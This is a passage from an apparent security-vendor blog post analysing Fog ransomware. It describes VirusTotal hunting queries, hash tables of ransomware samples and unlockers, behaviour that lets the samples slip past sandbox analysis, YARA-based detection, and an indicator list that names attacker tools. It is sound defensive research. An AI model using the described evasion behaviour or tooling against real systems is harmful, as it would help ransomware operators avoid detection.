initial report on Fog from Arctic Wolf lists a few executable file hashes, and at time of writing only one was publicly available in VirusTotal. Fortunately VirusTotal also provides many ways to pivot searches, and we were able to find several more samples. Some AV vendors have detection logic that will tag samples with searchable malware names:</p><blockquote><p>(ahnlab_v3:fog or microsoft:fog or gdata:fog or trendmicro_housecall:fog or trendmicro:fog or alibabacloud:fog or symantec:fog) fs:2020-01-01+</p></blockquote><p>Which yielded the following samples:</p><table><tbody><tr><th><p><b>Indicator (SHA1)</b></p></th><th><p><b>Filename</b></p></th></tr><tr><td><p>83f00af43df650fda2c5b4a04a7b31790a8ad4cf  </p></td><td><p>locker_out.exe</p></td></tr><tr><td><p>c2a053a15e7cf7afd30585568051eeb3536f24b5</p></td><td><p>locker_out.dll</p></td></tr><tr><td><p>a2bac38aa9d57e6096c22c8bbc92104239b06c1f</p></td><td><p>locker_dogmode.bin</p></td></tr><tr><td><p>94444fb02fb6a9f16c5648a4841dacf591638fca</p></td><td><p>b6360765c786cee0eb28bee64709172b4e2e066449968e011390be1afd8f36c5</p></td></tr><tr><td><p>ec15c66e2d24d94fd9be0933cceb62d22730a218</p></td><td><p>1.exe</p></td></tr><tr><td><p>e55046a0cd7b630bbe9d555995d373a5cafc1cb8</p></td><td><p>&lt;xxx>.zip</p></td></tr><tr><td><p>229d19be6789e109c7366a4d5c474634447fce93</p></td><td><p>&lt;xxx>/locker.exe</p></td></tr><tr><td><p>efbe251e4a0392db66aafa532b5107811b85982e</p></td><td><p>25a14b8104eb50d56c46df79b0df37bf</p></td></tr></tbody></table><p>We then decided to study these samples closer to see if there were more methodical ways to find and identify this ransomware family. To start, we noticed that the debug log system in Fog reported by Arctic Wolf isn't hidden or obfuscated and can be seen at a surface level:</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/1QBO268sFdKPXpaeRUSdgZ/387096eecf392609014a6c1c0b9e3fc7/logStrs.jpg" alt="Fog debug strings" style="max-width:100%;"/><p>This means the logging strings can be used as a reliable <a href="https://github.com/lodestonesecurity/Public-Rules-and-IOCs/blob/main/Fog%20Ransomware/FOG_Ransomware_A.yar">Yara rule</a>. Then, from a behavioral standpoint, we studied in particular this section of code where Fog parses the command line, then loads internal configuration:</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/2aPgSOVc8cqOsKAV2IK7Me/ef70e88fc99f4c2be001ccc91da2344e/config_flow.jpg" alt="Fog config flow" style="max-width:100%;"/><p>We noticed that Fog will quietly exit out if no parameters are passed, but will log debug messages to a dropped file named DbgLog.sys. This means any sandbox analysis of a Fog sample (like VirusTotal provides) may not exhibit ransom behavior if no parameters are passed, but the dropping of the debug log file will work as a malware corpus search, or a threat hunt. This type of search, paired with the Yara rule mentioned above, both leveraged in VirusTotal yielded the following additional 12 Fog samples:</p><table><tbody><tr><th><p><b>Indicator (SHA1)</b></p></th><th><p><b>Filename</b></p></th></tr><tr><td><p>7f846587988fe05de9153e948bc2ae9237d5c29b</p></td><td><p>locker_out.zip</p></td></tr><tr><td><p>2f5c99c9c45670f0a331084bce2c3a5d57e450bc</p></td><td><p>locker_out.exe</p></td></tr><tr><td><p>2a86cd3eb9000afb6e5bf5ba342f65e772ef6c7b</p></td><td><p>duck.exe</p></td></tr><tr><td><p>a088533dbe0efcc454949e5479dd26a9808b94af</p></td><td><p>&lt;null></p></td></tr><tr><td><p>2e56e74639e3d687c18212304d39c9b286930cb0</p></td><td><p>f63c17d6753abb95d876f5c02dc57ad5.virus</p></td></tr><tr><td><p>58ad3b6d406319f83ffdb97b458a131a3872a4ec</p></td><td><p>1.exe</p></td></tr><tr><td><p>567b846fddc05c9e7b3ddae0d27565f5ac365e16</p></td><td><p>lck.exe.exe</p></td></tr><tr><td><p>a3da84baf0d9e548f7f2f2c2a9513383e66c0b62</p></td><td><p>locker.exe</p></td></tr><tr><td><p>afda77a54af633e137e8d8d38655f4453c711f89</p></td><td><p>fog.exe</p></td></tr><tr><td><p>6c0771b2ed403ea8036543671775c895a39299fa</p></td><td><p>badfile.exe</p></td></tr><tr><td><p>91cdf9bf4a8f3debd3d4a310d2f2038b3b0b205a</p></td><td><p>1.exe</p></td></tr><tr><td><p>0dd67d2717e09d463053d7023cf3cfc8eb0cbbfd</p></td><td><p>1.dll.bk</p></td></tr></tbody></table><p>This was more than enough samples to start studying them as a group, so we started looking for similarities and differences between all these samples. VirusTotal provides a very helpful feature where you can select a group of files and show byte patterns that are present in multiple files in your selection. After some time, we identified four byte patterns that showed up in the seven samples we were comparing. A search through the code revealed those byte patterns to be related to the part of the Fog locker code that unpacks its internal configuration settings into memory.</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/6MdbTVllSWx63rWoFXZZQ9/903bf8f4aeb41207981719474fe1f3ea/chain.jpg" alt="Fog decrypt loc" style="max-width:100%;"/><p>The four byte patterns that show up in this small but important section of code can function as a sort of fingerprint for identifying Fog samples, so we created a Yara rule and are using it to monitor VirusTotal submissions for new Fog samples.</p><p>Interestingly, this rule also started detecting the Fog unlockers, which at time of writing, are not tagged by AV vendors as Fog samples. Generally, if a company pays the ransom in order to get an unlocker to free their data, they will not show up in the Fog leak site. Tracking these unlockers is also useful, as it can give us a rough (but imperfect) sense of possible non-public Fog cases in the wild. Below is a list of the unlockers this search rule has found:</p><table><tbody><tr><th><p><b>Indicator (SHA1)</b></p></th><th><p><b>Filename</b></p></th></tr><tr><td><p>d68abe66364a8b6c4d2af9d6ab13e74ae2e8e1cb</p></td><td><p>unlocker_out.exe</p></td></tr><tr><td><p>d3fc27b77eaa3ee13265e290e692044d8934458a</p></td><td><p>unlocker_out.exe</p></td></tr></tbody></table></div><div class="rtf"><h3 class="rtf-title">Timeline</h3><img src="//images.ctfassets.net/2nw9zhl2ydi6/1vgbS5cA2GYgKqgh9hbDJb/4b2950ebb42781ef2fc1f52825c81e05/FOG_Ransomware.png" alt="this is a chart of the countries that got hit by FOG ransomware as of 9/16/2024" style="max-width:100%;"/><p>As of 10-22-2024 FOG has published 32 different companies, releasing this leak data on their blog.</p></div><div class="rtf"><h3 class="rtf-title">Indicators of Compromise (IoCs)</h3><table><tbody><tr><th><p><b>Indicator (SHA1)</b></p></th><th><p><b>Description</b></p></th></tr><tr><td><p>f7c8c60172f9ae4dab9f61c28ccae7084da90a06</p></td><td><p>Fog ransomware binary (lck.exe)</p></td></tr><tr><td><p>507b26054319ff31f275ba44ddc9d2b5037bd295</p></td><td><p>Fog ransomware binary (locker_out.exe)</p></td></tr><tr><td><p>e1fb7d15408988df39a80b8939972f7843f0e785</p></td><td><p>Fog ransomware binary (fs.exe)</p></td></tr><tr><td><p><a href="https://www.virustotal.com/gui/file/e67260804526323484f564eebeb6c99ed021b960b899ff788aed85bb7a9d75c3">83f00af43df650fda2c5b4a04a7b31790a8ad4cf</a></p></td><td><p>Fog ransomware binary (locker_out.exe)</p></td></tr><tr><td><p>44a76b9546427627a8d88a650c1bed3f1cc0278c</p></td><td><p>Fog ransomware binary (mon.dll)</p></td></tr><tr><td><p><a href="https://www.virustotal.com/gui/file/15edfedab458be0f569fc2bedb6c4139782516d6faf464b4881739e312e9fabb">a2bac38aa9d57e6096c22c8bbc92104239b06c1f</a></p></td><td><p>Fog ransomware binary  (locker_dogmode.bin)</p></td></tr><tr><td><p>c2a053a15e7cf7afd30585568051eeb3536f24b5</p></td><td><p>Fog ransomware binary  (locker_out.dll)</p></td></tr><tr><td><p>94444fb02fb6a9f16c5648a4841dacf591638fca</p></td><td><p>Fog ransomware binary</p></td></tr><tr><td><p>ec15c66e2d24d94fd9be0933cceb62d22730a218</p></td><td><p>Fog ransomware binary  (1.exe)</p></td></tr><tr><td><p>229d19be6789e109c7366a4d5c474634447fce93</p></td><td><p>Fog ransomware binary  (locker.exe)</p></td></tr><tr><td><p>efbe251e4a0392db66aafa532b5107811b85982e</p></td><td><p>Fog ransomware binary</p></td></tr><tr><td><p>2f5c99c9c45670f0a331084bce2c3a5d57e450bc</p></td><td><p>Fog ransomware binary  (locker_out.exe)</p></td></tr><tr><td><p>2a86cd3eb9000afb6e5bf5ba342f65e772ef6c7b</p></td><td><p>Fog ransomware binary  (duck.exe)</p></td></tr><tr><td><p>a088533dbe0efcc454949e5479dd26a9808b94af</p></td><td><p>Fog ransomware binary</p></td></tr><tr><td><p>2e56e74639e3d687c18212304d39c9b286930cb0</p></td><td><p>Fog ransomware binary</p></td></tr><tr><td><p>58ad3b6d406319f83ffdb97b458a131a3872a4ec</p></td><td><p>Fog ransomware binary  (1.exe)</p></td></tr><tr><td><p>567b846fddc05c9e7b3ddae0d27565f5ac365e16</p></td><td><p>Fog ransomware binary  (lck.exe.exe)</p></td></tr><tr><td><p>a3da84baf0d9e548f7f2f2c2a9513383e66c0b62</p></td><td><p>Fog ransomware binary  (locker.exe</p></td></tr><tr><td><p>afda77a54af633e137e8d8d38655f4453c711f89</p></td><td><p>Fog ransomware binary  (fog.exe))</p></td></tr><tr><td><p>6c0771b2ed403ea8036543671775c895a39299fa</p></td><td><p>Fog ransomware binary  (badfile.exe)</p></td></tr><tr><td><p>91cdf9bf4a8f3debd3d4a310d2f2038b3b0b205a</p></td><td><p>Fog ransomware binary  (1.exe)</p></td></tr><tr><td><p>0dd67d2717e09d463053d7023cf3cfc8eb0cbbfd</p></td><td><p>Fog ransomware binary  (1.dll.bk)</p></td></tr><tr><td><p><a href="https://www.virustotal.com/gui/file/9d00158489f0a399fc0bc3ce1e8fc309d29a327f6ea0097e34e0f49b72a85079">eeafa71946e81d8fe5ebf6be53e83a84dcca50ba</a></p></td><td><p>PsExec (psexesvc.exe)</p></td></tr><tr><td><p><a href="https://www.virustotal.com/gui/file/8b9c7d2554fe315199fae656448dc193accbec162d4afff3f204ce2346507a8a">763499b37aacd317e7d2f512872f9ed719aacae1</a></p></td><td><p>Advanced Port Scanner (advanced_port_scanner.exe)</p></td></tr><tr><td><p><a href="https://www.virustotal.com/gui/file/d0c1662ce239e4d288048c0e3324ec52962f6ddda77da0cb7af9c1d9c2f1e2eb">3477a173e2c1005a81d042802ab0f22cc12a4d55</a></p></td><td><p>Advanced Port Scanner (advanced_port_scanner_2.5.3869.exe)</p></td></tr><tr><td><p><a href="https://www.virustotal.com/gui/file/e11e7db705a11f8ca250d8d6826371e550b3214757f5bb9b648c7b0fad09294b">90be89524b72f330e49017a11e7b8a257f975e9a</a></p></td><td><p>SharpShares (sharpshares(1).exe)</p></td></tr><tr><td><p><a href="https://www.virustotal.com/gui/file/4a29428460c912eb7a6ba03b39c0e13f3c41f8d871f82ee745e5dd1434f0db7b">53f57ff64668176bf0a43bd5f30749b2b9af0149</a></p></td><td><p>no name (.elf file)</p></td></tr></tbody></table></div>]]></content><summary type="html">Fog ransomware is a relatively new ransomware family first reported in June 2024, targeting mainly the education sector. Most of the victim organizations are in the education sector with majority of them being located in the United States. </summary></entry>
</feed>
